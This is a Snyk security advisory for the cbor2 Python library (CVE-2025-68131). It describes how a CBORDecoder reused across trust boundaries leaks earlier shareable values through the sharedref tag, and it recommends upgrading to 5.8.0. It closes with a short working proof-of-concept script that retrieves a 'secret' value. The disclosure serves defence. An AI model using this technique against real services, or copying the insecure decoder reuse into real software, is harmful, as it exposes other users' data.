Improper Removal of Sensitive Information Before Storage or Transfer Affecting cbor2 package, versions [,5.8.0)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-CBOR2-14742478
- published1 Jan 2026
- disclosed31 Dec 2025
- creditAndreas Eriksen
Introduced: 31 Dec 2025
CVE-2025-68131 (opens in a new tab)How to fix?
Upgrade cbor2 to version 5.8.0 or higher.
Overview
cbor2 is a CBOR (de)serializer with extensive tag support
Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer in the CBORDecoder instance. An attacker can access data from previously decoded messages with a message that leverages the sharedref tag to retrieve values marked as shareable in earlier decode operations.
PoC
import cbor2
from io import BytesIO
# Message from trusted source containing a shareable value
msg1 = cbor2.dumps(cbor2.CBORTag(28, "secret"))
# Attacker-controlled message referencing index 0
msg2 = cbor2.dumps(cbor2.CBORTag(29, 0))
# Decoder reused across trust boundaries
decoder = cbor2.CBORDecoder(BytesIO(b''))
decoder.decode_from_bytes(msg1)
print(decoder.decode_from_bytes(msg2)) # prints "secret"